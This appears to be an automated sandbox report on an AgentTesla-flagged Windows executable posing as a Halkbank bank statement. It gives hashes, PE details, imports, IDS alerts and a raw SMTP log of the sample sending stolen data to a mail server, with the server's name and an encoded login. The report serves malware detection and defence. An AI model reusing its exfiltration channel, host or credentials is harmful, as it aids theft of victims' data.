Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, WMIADAP.exe, SgrmBroker.exe, conhost.exe, svchost.exe Excluded IPs from analysis (whitelisted): 40.88.32.150, 13.88.21.125, 104.42.151.234, 23.210.248.85, 104.43.139.144, 2.20.142.209, 2.20.142.210, 8.248.149.254, 8.253.95.249, 8.253.204.121, 67.26.75.254, 67.26.137.254 Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, fs.microsoft.com, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, skypedataprdcolcus16.cloudapp.net, a767.dscg3.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, skypedataprdcoleus15.cloudapp.net, blobcollector.events.data.trafficmanager.net, audownload.windowsupdate.nsatc.net, watson.telemetry.microsoft.com, auto.au.download.windowsupdate.com.c.footprint.net, prod.fs.microsoft.com.akadns.net, skypedataprdcolwus15.cloudapp.net, skypedataprdcolwus16.cloudapp.net, au-bg-shim.trafficmanager.net Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
21:46:47	API Interceptor	1076x Sleep call for process: Halkbank_Ekstre_20210113_162325_384771.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
109.232.220.251	63Label_00000192672.doc.js	Get hash	malicious	Browse	ozgurwebtasarim.com/counter/?id=555D5C5E0D0A020B240A05120D1710054A070B095E225E071014034A11175E17525E5550515C5451535555515E55&rnd=2812563
109.232.220.251	63Label_00000192672.doc.js	Get hash	malicious	Browse	ozgurwebtasarim.com/counter/?id=555D5C5E0D0A020B240A05120D1710054A070B095E225E071014034A11175E17525E5550515C5451535555515E55&rnd=2812563

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
AEROTEK-ASTR	ZwFwevQtlv.exe	Get hash	malicious	Browse	37.230.106.15
	ssDV3d9O9o.exe	Get hash	malicious	Browse	37.230.106.15
	wjSwL3KItA.exe	Get hash	malicious	Browse	37.230.106.15
	XP-9743 Medical report COVID-19.doc	Get hash	malicious	Browse	109.232.216.177
	Re.invoice.exe	Get hash	malicious	Browse	37.230.107.14
	36bjGck9ps.exe	Get hash	malicious	Browse	37.230.107.15
	n1hou07jRi.exe	Get hash	malicious	Browse	37.230.107.14
	SZOSVrCvEl.exe	Get hash	malicious	Browse	37.230.107.17
	2LR7qIZpc9.exe	Get hash	malicious	Browse	37.230.107.14
	QXfxLv6GGp.exe	Get hash	malicious	Browse	37.230.107.17
	0908000090000.exe	Get hash	malicious	Browse	37.230.106.17
	Tax Invoices IN102738 IN102739 IN102740 (2).exe	Get hash	malicious	Browse	37.230.107.13
	Quotation 7339.exe	Get hash	malicious	Browse	37.230.107.16
	kart bilgisizzz.exe	Get hash	malicious	Browse	37.230.106.16
	CardFinans09000.exe	Get hash	malicious	Browse	37.230.106.17
	0lQnavQlRv.exe	Get hash	malicious	Browse	37.230.107.13
	payment invoice090909000.exe	Get hash	malicious	Browse	37.230.106.16
	POUIYYY.exe	Get hash	malicious	Browse	37.230.106.16
	invoice 2.exe	Get hash	malicious	Browse	37.230.107.15
	invoice 2.exe	Get hash	malicious	Browse	37.230.107.15

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Roaming\bdbdmgwj.xzv\Chrome\Default\Cookies Download File
Process:	C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6969296358976265
Encrypted:	false
SSDEEP:	24:TLbJLbXaFpEO5bNmISHn06UwcQPx5fBo2+tYeF+X:T5LLOpEO5J/Kn7U1uBo2UYeQ
MD5:	A9DBC7B8E523ABE3B02D77DBF2FCD645
SHA1:	DF5EE16ECF4B3B02E312F935AE81D4C5D2E91CA8
SHA-256:	39B4E45A062DEA6F541C18FA1A15C5C0DB43A59673A26E2EB5B8A4345EE767AE
SHA-512:	3CF87455263E395313E779D4F440D8405D86244E04B5F577BB9FA2F4A2069DE019D340F6B2F6EF420DEE3D3DEEFD4B58DA3FCA3BB802DE348E1A810D6379CC3B
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................C....... ..g... .8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.435198963754783
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Halkbank_Ekstre_20210113_162325_384771.exe
File size:	517632
MD5:	8bdf3d3cb7c7680df5b8d6385dc5db82
SHA1:	442eaa27d23dc72fd96c9d2d984068669afbeb5d
SHA256:	a3c564db9537f84073828e42af85c0558e763cb211e80bd4653e429ecb62ce8b
SHA512:	7356a0586c565076d71ae75e77287d8d10a6636d4e789a078f4ba5b493288dcda0ccfbe721b5a05ea0dbaf37e0b428c0eeb19b77390e3239a3f7baccbfb5896b
SSDEEP:	6144:Lr1I5DbAQcHAORYANc73CoNUkJYUTIHRghDfeIenXA87i+uLJl98xCoxCB:/1I5fAPHQNUdHID9Yb7PO9YCB
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........tj.m'j.m'j.m'.Q.'k.m'.4.'I.m'.4.'r.m'.4.'..m'j.l'..m'...'..m'M7.'k.m'M7.'k.m'M7.'k.m'Richj.m'................PE..L......_...

File Icon


Icon Hash:	0f470d0d0d09470c

Static PE Info

General
Entrypoint:	0x4088a7
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x5FFEB4E8 [Wed Jan 13 08:52:56 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	e7da020c2fad0c59a3d5e97971484548

Entrypoint Preview

Instruction
call 00007F934CBF00A1h
jmp 00007F934CBE8D05h
push 00000014h
push 0041D838h
call 00007F934CBE95A8h
call 00007F934CBEC456h
movzx esi, ax
push 00000002h
call 00007F934CBF0034h
pop ecx
mov eax, 00005A4Dh
cmp word ptr [00400000h], ax
je 00007F934CBE8D06h
xor ebx, ebx
jmp 00007F934CBE8D35h
mov eax, dword ptr [0040003Ch]
cmp dword ptr [eax+00400000h], 00004550h
jne 00007F934CBE8CEDh
mov ecx, 0000010Bh
cmp word ptr [eax+00400018h], cx
jne 00007F934CBE8CDFh
xor ebx, ebx
cmp dword ptr [eax+00400074h], 0Eh
jbe 00007F934CBE8D0Bh
cmp dword ptr [eax+004000E8h], ebx
setne bl
mov dword ptr [ebp-1Ch], ebx
call 00007F934CBED443h
test eax, eax
jne 00007F934CBE8D0Ah
push 0000001Ch
call 00007F934CBE8DD5h
pop ecx
call 00007F934CBEDAACh
test eax, eax
jne 00007F934CBE8D0Ah
push 00000010h
call 00007F934CBE8DC4h
pop ecx
call 00007F934CBEC1E8h
and dword ptr [ebp-04h], 00000000h
call 00007F934CBEA983h
call dword ptr [004180C8h]
mov dword ptr [00424080h], eax
call 00007F934CBF0092h
mov dword ptr [00422284h], eax
call 00007F934CBEFC93h
test eax, eax
jns 00007F934CBE8D0Ah
push 00000008h
call 00007F934CBE78BAh
pop ecx
call 00007F934CBEFEAFh

Rich Headers

Programming Language:

[LNK] VS2012 build 50727
[RES] VS2012 build 50727
[ C ] VS2012 build 50727

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1db94	0xdc	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x25000	0x14908	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x3a000	0x1150	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x1d6e0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x18000	0x1c8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x16d9a	0x16e00	False	0.571016905738	data	6.67353254408	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x18000	0x64f8	0x6600	False	0.572227328431	data	6.01779519415	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1f000	0x5098	0x3400	False	0.285531850962	data	4.70097691284	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x25000	0x14908	0x14a00	False	0.180705492424	data	4.28205034385	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x3a000	0x1856	0x1a00	False	0.560546875	data	5.24804526054	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x251c0	0x468	GLS_BINARY_LSB_FIRST	English	United States
RT_ICON	0x25628	0x988	data	English	United States
RT_ICON	0x25fb0	0x10a8	dBase IV DBT of @.DBF, block length 4096, next free block index 40, next free block 4294967295, next used block 4294967295	English	United States
RT_ICON	0x27058	0x25a8	dBase IV DBT of `.DBF, block length 9216, next free block index 40, next free block 4294967295, next used block 4294967295	English	United States
RT_ICON	0x29600	0xe8ac	data	English	United States
RT_RCDATA	0x37f00	0x1a05	data	English	United States
RT_GROUP_ICON	0x37eb0	0x4c	data	English	United States

Imports

DLL	Import
KERNEL32.dll	RaiseException, ReadConsoleW, ReadFile, CreateFileW, WriteConsoleW, GetStringTypeW, LCMapStringEx, SetConsoleCursorPosition, LoadLibraryW, GetModuleHandleW, HeapReAlloc, HeapSize, OutputDebugStringW, SetFilePointerEx, GetConsoleMode, GetConsoleCP, FlushFileBuffers, SetStdHandle, WideCharToMultiByte, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetProcessHeap, HeapAlloc, GetStdHandle, GetTickCount64, GetSystemTimeAsFileTime, QueryPerformanceCounter, GetModuleFileNameA, GetCurrentThreadId, SetLastError, GetCPInfo, GetOEMCP, GetACP, EncodePointer, DecodePointer, GetLastError, InterlockedDecrement, ExitProcess, GetModuleHandleExW, GetProcAddress, AreFileApisANSI, MultiByteToWideChar, GetLocalTime, GetCommandLineA, IsDebuggerPresent, IsProcessorFeaturePresent, EnterCriticalSection, LeaveCriticalSection, CloseHandle, HeapFree, InitializeCriticalSectionAndSpinCount, RtlUnwind, GetFileType, DeleteCriticalSection, InitOnceExecuteOnce, GetStartupInfoW, UnhandledExceptionFilter, SetUnhandledExceptionFilter, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree, GetCurrentProcess, TerminateProcess, WriteFile, GetModuleFileNameW, Sleep, LoadLibraryExW, InterlockedIncrement, IsValidCodePage, SetEndOfFile
msi.dll
loadperf.dll	LoadPerfCounterTextStringsA, UnloadPerfCounterTextStringsW, UnloadPerfCounterTextStringsA
MSVFW32.dll	StretchDIB
AVIFIL32.dll	AVIFileExit, AVIStreamReadData
pdh.dll	PdhEnumObjectsW, PdhSetQueryTimeRange, PdhGetDllVersion
WSOCK32.dll	WSASetBlockingHook, WSACancelAsyncRequest, bind, ord1104, ord1108, ord1130
GDI32.dll	StartDocW, GdiGetSpoolFileHandle, PolyBezier
MAPI32.dll
MSACM32.dll	acmDriverPriority, acmFilterTagDetailsA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
01/13/21-21:48:24.132757	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49711	587	192.168.2.7	109.232.220.251
01/13/21-21:48:25.921637	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49712	587	192.168.2.7	109.232.220.251

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2021 21:48:23.310643911 CET	49711	587	192.168.2.7	109.232.220.251
Jan 13, 2021 21:48:23.391347885 CET	587	49711	109.232.220.251	192.168.2.7
Jan 13, 2021 21:48:23.391645908 CET	49711	587	192.168.2.7	109.232.220.251
Jan 13, 2021 21:48:23.601947069 CET	587	49711	109.232.220.251	192.168.2.7
Jan 13, 2021 21:48:23.602631092 CET	49711	587	192.168.2.7	109.232.220.251
Jan 13, 2021 21:48:23.683430910 CET	587	49711	109.232.220.251	192.168.2.7
Jan 13, 2021 21:48:23.685769081 CET	49711	587	192.168.2.7	109.232.220.251
Jan 13, 2021 21:48:23.767661095 CET	587	49711	109.232.220.251	192.168.2.7
Jan 13, 2021 21:48:23.768654108 CET	49711	587	192.168.2.7	109.232.220.251
Jan 13, 2021 21:48:23.861720085 CET	587	49711	109.232.220.251	192.168.2.7
Jan 13, 2021 21:48:23.862680912 CET	49711	587	192.168.2.7	109.232.220.251
Jan 13, 2021 21:48:23.943025112 CET	587	49711	109.232.220.251	192.168.2.7
Jan 13, 2021 21:48:23.943578005 CET	49711	587	192.168.2.7	109.232.220.251
Jan 13, 2021 21:48:24.043967962 CET	587	49711	109.232.220.251	192.168.2.7
Jan 13, 2021 21:48:24.044297934 CET	49711	587	192.168.2.7	109.232.220.251
Jan 13, 2021 21:48:24.124954939 CET	587	49711	109.232.220.251	192.168.2.7
Jan 13, 2021 21:48:24.125097990 CET	587	49711	109.232.220.251	192.168.2.7
Jan 13, 2021 21:48:24.132756948 CET	49711	587	192.168.2.7	109.232.220.251
Jan 13, 2021 21:48:24.133276939 CET	49711	587	192.168.2.7	109.232.220.251
Jan 13, 2021 21:48:24.133873940 CET	49711	587	192.168.2.7	109.232.220.251
Jan 13, 2021 21:48:24.134016991 CET	49711	587	192.168.2.7	109.232.220.251
Jan 13, 2021 21:48:24.213766098 CET	587	49711	109.232.220.251	192.168.2.7
Jan 13, 2021 21:48:24.214521885 CET	587	49711	109.232.220.251	192.168.2.7
Jan 13, 2021 21:48:24.236974001 CET	587	49711	109.232.220.251	192.168.2.7
Jan 13, 2021 21:48:24.277636051 CET	49711	587	192.168.2.7	109.232.220.251
Jan 13, 2021 21:48:25.226833105 CET	49711	587	192.168.2.7	109.232.220.251
Jan 13, 2021 21:48:25.309237957 CET	587	49711	109.232.220.251	192.168.2.7
Jan 13, 2021 21:48:25.309633970 CET	49711	587	192.168.2.7	109.232.220.251
Jan 13, 2021 21:48:25.309801102 CET	49711	587	192.168.2.7	109.232.220.251
Jan 13, 2021 21:48:25.310714960 CET	49712	587	192.168.2.7	109.232.220.251
Jan 13, 2021 21:48:25.383346081 CET	587	49712	109.232.220.251	192.168.2.7
Jan 13, 2021 21:48:25.383452892 CET	49712	587	192.168.2.7	109.232.220.251
Jan 13, 2021 21:48:25.390098095 CET	587	49711	109.232.220.251	192.168.2.7
Jan 13, 2021 21:48:25.459893942 CET	587	49712	109.232.220.251	192.168.2.7
Jan 13, 2021 21:48:25.460177898 CET	49712	587	192.168.2.7	109.232.220.251
Jan 13, 2021 21:48:25.532881021 CET	587	49712	109.232.220.251	192.168.2.7
Jan 13, 2021 21:48:25.533261061 CET	49712	587	192.168.2.7	109.232.220.251
Jan 13, 2021 21:48:25.606108904 CET	587	49712	109.232.220.251	192.168.2.7
Jan 13, 2021 21:48:25.606667042 CET	49712	587	192.168.2.7	109.232.220.251
Jan 13, 2021 21:48:25.684650898 CET	587	49712	109.232.220.251	192.168.2.7
Jan 13, 2021 21:48:25.687062025 CET	49712	587	192.168.2.7	109.232.220.251
Jan 13, 2021 21:48:25.761615038 CET	587	49712	109.232.220.251	192.168.2.7
Jan 13, 2021 21:48:25.761971951 CET	49712	587	192.168.2.7	109.232.220.251
Jan 13, 2021 21:48:25.842509031 CET	587	49712	109.232.220.251	192.168.2.7
Jan 13, 2021 21:48:25.844945908 CET	49712	587	192.168.2.7	109.232.220.251
Jan 13, 2021 21:48:25.920116901 CET	587	49712	109.232.220.251	192.168.2.7
Jan 13, 2021 21:48:25.920146942 CET	587	49712	109.232.220.251	192.168.2.7
Jan 13, 2021 21:48:25.921427011 CET	49712	587	192.168.2.7	109.232.220.251
Jan 13, 2021 21:48:25.921637058 CET	49712	587	192.168.2.7	109.232.220.251
Jan 13, 2021 21:48:25.921734095 CET	49712	587	192.168.2.7	109.232.220.251
Jan 13, 2021 21:48:25.921817064 CET	49712	587	192.168.2.7	109.232.220.251
Jan 13, 2021 21:48:25.921986103 CET	49712	587	192.168.2.7	109.232.220.251
Jan 13, 2021 21:48:25.922058105 CET	49712	587	192.168.2.7	109.232.220.251
Jan 13, 2021 21:48:25.922123909 CET	49712	587	192.168.2.7	109.232.220.251
Jan 13, 2021 21:48:25.922286987 CET	49712	587	192.168.2.7	109.232.220.251
Jan 13, 2021 21:48:25.994154930 CET	587	49712	109.232.220.251	192.168.2.7
Jan 13, 2021 21:48:25.994611979 CET	587	49712	109.232.220.251	192.168.2.7
Jan 13, 2021 21:48:25.994637966 CET	587	49712	109.232.220.251	192.168.2.7
Jan 13, 2021 21:48:26.023324013 CET	587	49712	109.232.220.251	192.168.2.7
Jan 13, 2021 21:48:26.074748039 CET	49712	587	192.168.2.7	109.232.220.251

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2021 21:46:29.657373905 CET	56590	53	192.168.2.7	8.8.8.8
Jan 13, 2021 21:46:29.705615044 CET	53	56590	8.8.8.8	192.168.2.7
Jan 13, 2021 21:46:30.480578899 CET	60501	53	192.168.2.7	8.8.8.8
Jan 13, 2021 21:46:30.528429031 CET	53	60501	8.8.8.8	192.168.2.7
Jan 13, 2021 21:46:31.331312895 CET	53775	53	192.168.2.7	8.8.8.8
Jan 13, 2021 21:46:31.379257917 CET	53	53775	8.8.8.8	192.168.2.7
Jan 13, 2021 21:46:32.790518045 CET	51837	53	192.168.2.7	8.8.8.8
Jan 13, 2021 21:46:32.838291883 CET	53	51837	8.8.8.8	192.168.2.7
Jan 13, 2021 21:46:34.691339970 CET	55411	53	192.168.2.7	8.8.8.8
Jan 13, 2021 21:46:34.739322901 CET	53	55411	8.8.8.8	192.168.2.7
Jan 13, 2021 21:46:35.673193932 CET	63668	53	192.168.2.7	8.8.8.8
Jan 13, 2021 21:46:35.723819971 CET	53	63668	8.8.8.8	192.168.2.7
Jan 13, 2021 21:46:36.466608047 CET	54640	53	192.168.2.7	8.8.8.8
Jan 13, 2021 21:46:36.517349005 CET	53	54640	8.8.8.8	192.168.2.7
Jan 13, 2021 21:46:38.135898113 CET	58739	53	192.168.2.7	8.8.8.8
Jan 13, 2021 21:46:38.186909914 CET	53	58739	8.8.8.8	192.168.2.7
Jan 13, 2021 21:46:39.445326090 CET	60338	53	192.168.2.7	8.8.8.8
Jan 13, 2021 21:46:39.504596949 CET	53	60338	8.8.8.8	192.168.2.7
Jan 13, 2021 21:46:41.700320959 CET	58717	53	192.168.2.7	8.8.8.8
Jan 13, 2021 21:46:41.751512051 CET	53	58717	8.8.8.8	192.168.2.7
Jan 13, 2021 21:46:44.782391071 CET	59762	53	192.168.2.7	8.8.8.8
Jan 13, 2021 21:46:44.838838100 CET	53	59762	8.8.8.8	192.168.2.7
Jan 13, 2021 21:46:46.812696934 CET	54329	53	192.168.2.7	8.8.8.8
Jan 13, 2021 21:46:46.860708952 CET	53	54329	8.8.8.8	192.168.2.7
Jan 13, 2021 21:46:47.769114971 CET	58052	53	192.168.2.7	8.8.8.8
Jan 13, 2021 21:46:47.816962004 CET	53	58052	8.8.8.8	192.168.2.7
Jan 13, 2021 21:46:54.259582996 CET	54008	53	192.168.2.7	8.8.8.8
Jan 13, 2021 21:46:54.309675932 CET	53	54008	8.8.8.8	192.168.2.7
Jan 13, 2021 21:46:55.723229885 CET	59451	53	192.168.2.7	8.8.8.8
Jan 13, 2021 21:46:55.771421909 CET	53	59451	8.8.8.8	192.168.2.7
Jan 13, 2021 21:46:57.217106104 CET	52914	53	192.168.2.7	8.8.8.8
Jan 13, 2021 21:46:57.265522957 CET	53	52914	8.8.8.8	192.168.2.7
Jan 13, 2021 21:47:19.243168116 CET	64569	53	192.168.2.7	8.8.8.8
Jan 13, 2021 21:47:19.306643009 CET	53	64569	8.8.8.8	192.168.2.7
Jan 13, 2021 21:47:19.401158094 CET	52816	53	192.168.2.7	8.8.8.8
Jan 13, 2021 21:47:19.457763910 CET	53	52816	8.8.8.8	192.168.2.7
Jan 13, 2021 21:48:22.759804964 CET	50781	53	192.168.2.7	8.8.8.8
Jan 13, 2021 21:48:22.858607054 CET	53	50781	8.8.8.8	192.168.2.7
Jan 13, 2021 21:48:22.876439095 CET	54230	53	192.168.2.7	8.8.8.8
Jan 13, 2021 21:48:23.220669985 CET	53	54230	8.8.8.8	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 13, 2021 21:48:22.759804964 CET	192.168.2.7	8.8.8.8	0x5085	Standard query (0)	mail.ceotech.com.tr	A (IP address)	IN (0x0001)
Jan 13, 2021 21:48:22.876439095 CET	192.168.2.7	8.8.8.8	0xb9fa	Standard query (0)	mail.ceotech.com.tr	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jan 13, 2021 21:48:22.858607054 CET	8.8.8.8	192.168.2.7	0x5085	No error (0)	mail.ceotech.com.tr	ceotech.com.tr		CNAME (Canonical name)	IN (0x0001)
Jan 13, 2021 21:48:22.858607054 CET	8.8.8.8	192.168.2.7	0x5085	No error (0)	ceotech.com.tr		109.232.220.251	A (IP address)	IN (0x0001)
Jan 13, 2021 21:48:23.220669985 CET	8.8.8.8	192.168.2.7	0xb9fa	No error (0)	mail.ceotech.com.tr	ceotech.com.tr		CNAME (Canonical name)	IN (0x0001)
Jan 13, 2021 21:48:23.220669985 CET	8.8.8.8	192.168.2.7	0xb9fa	No error (0)	ceotech.com.tr		109.232.220.251	A (IP address)	IN (0x0001)

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Jan 13, 2021 21:48:23.601947069 CET	587	49711	109.232.220.251	192.168.2.7	220-cpanel8.webadam.com ESMTP Exim 4.93 #2 Wed, 13 Jan 2021 23:48:25 +0300 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 13, 2021 21:48:23.602631092 CET	49711	587	192.168.2.7	109.232.220.251	EHLO 226533
Jan 13, 2021 21:48:23.683430910 CET	587	49711	109.232.220.251	192.168.2.7	250-cpanel8.webadam.com Hello 226533 [84.17.52.74] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 13, 2021 21:48:23.685769081 CET	49711	587	192.168.2.7	109.232.220.251	AUTH login bXVoYXNlYmVAY2VvdGVjaC5jb20udHI=
Jan 13, 2021 21:48:23.767661095 CET	587	49711	109.232.220.251	192.168.2.7	334 UGFzc3dvcmQ6
Jan 13, 2021 21:48:23.861720085 CET	587	49711	109.232.220.251	192.168.2.7	235 Authentication succeeded
Jan 13, 2021 21:48:23.862680912 CET	49711	587	192.168.2.7	109.232.220.251	MAIL FROM:<muhasebe@ceotech.com.tr>
Jan 13, 2021 21:48:23.943025112 CET	587	49711	109.232.220.251	192.168.2.7	250 OK
Jan 13, 2021 21:48:23.943578005 CET	49711	587	192.168.2.7	109.232.220.251	RCPT TO:<muhasebe@ceotech.com.tr>
Jan 13, 2021 21:48:24.043967962 CET	587	49711	109.232.220.251	192.168.2.7	250 Accepted
Jan 13, 2021 21:48:24.044297934 CET	49711	587	192.168.2.7	109.232.220.251	DATA
Jan 13, 2021 21:48:24.125097990 CET	587	49711	109.232.220.251	192.168.2.7	354 Enter message, ending with "." on a line by itself
Jan 13, 2021 21:48:24.134016991 CET	49711	587	192.168.2.7	109.232.220.251	.
Jan 13, 2021 21:48:24.236974001 CET	587	49711	109.232.220.251	192.168.2.7	250 OK id=1kzn45-003L46-Pb
Jan 13, 2021 21:48:25.226833105 CET	49711	587	192.168.2.7	109.232.220.251	QUIT
Jan 13, 2021 21:48:25.309237957 CET	587	49711	109.232.220.251	192.168.2.7	221 cpanel8.webadam.com closing connection
Jan 13, 2021 21:48:25.459893942 CET	587	49712	109.232.220.251	192.168.2.7	220-cpanel8.webadam.com ESMTP Exim 4.93 #2 Wed, 13 Jan 2021 23:48:27 +0300 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 13, 2021 21:48:25.460177898 CET	49712	587	192.168.2.7	109.232.220.251	EHLO 226533
Jan 13, 2021 21:48:25.532881021 CET	587	49712	109.232.220.251	192.168.2.7	250-cpanel8.webadam.com Hello 226533 [84.17.52.74] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 13, 2021 21:48:25.533261061 CET	49712	587	192.168.2.7	109.232.220.251	AUTH login bXVoYXNlYmVAY2VvdGVjaC5jb20udHI=
Jan 13, 2021 21:48:25.606108904 CET	587	49712	109.232.220.251	192.168.2.7	334 UGFzc3dvcmQ6
Jan 13, 2021 21:48:25.684650898 CET	587	49712	109.232.220.251	192.168.2.7	235 Authentication succeeded
Jan 13, 2021 21:48:25.687062025 CET	49712	587	192.168.2.7	109.232.220.251	MAIL FROM:<muhasebe@ceotech.com.tr>
Jan 13, 2021 21:48:25.761615038 CET	587	49712	109.232.220.251	192.168.2.7	250 OK
Jan 13, 2021 21:48:25.761971951 CET	49712	587	192.168.2.7	109.232.220.251	RCPT TO:<muhasebe@ceotech.com.tr>
Jan 13, 2021 21:48:25.842509031 CET	587	49712	109.232.220.251	192.168.2.7	250 Accepted
Jan 13, 2021 21:48:25.844945908 CET	49712	587	192.168.2.7	109.232.220.251	DATA
Jan 13, 2021 21:48:25.920146942 CET	587	49712	109.232.220.251	192.168.2.7	354 Enter message, ending with "." on a line by itself
Jan 13, 2021 21:48:25.922286987 CET	49712	587	192.168.2.7	109.232.220.251	.
Jan 13, 2021 21:48:26.023324013 CET	587	49712	109.232.220.251	192.168.2.7	250 OK id=1kzn47-003L4J-JA

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: Halkbank_Ekstre_20210113_162325_384771.exe PID: 4684 Parent PID: 5632

General

Start time:	21:46:34
Start date:	13/01/2021
Path:	C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe'
Imagebase:	0xec0000
File size:	517632 bytes
MD5 hash:	8BDF3D3CB7C7680DF5B8D6385DC5DB82
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.253943134.0000000000F70000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: Halkbank_Ekstre_20210113_162325_384771.exe PID: 6128 Parent PID: 4684

General

Start time:	21:46:36
Start date:	13/01/2021
Path:	C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe'
Imagebase:	0xec0000
File size:	517632 bytes
MD5 hash:	8BDF3D3CB7C7680DF5B8D6385DC5DB82
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
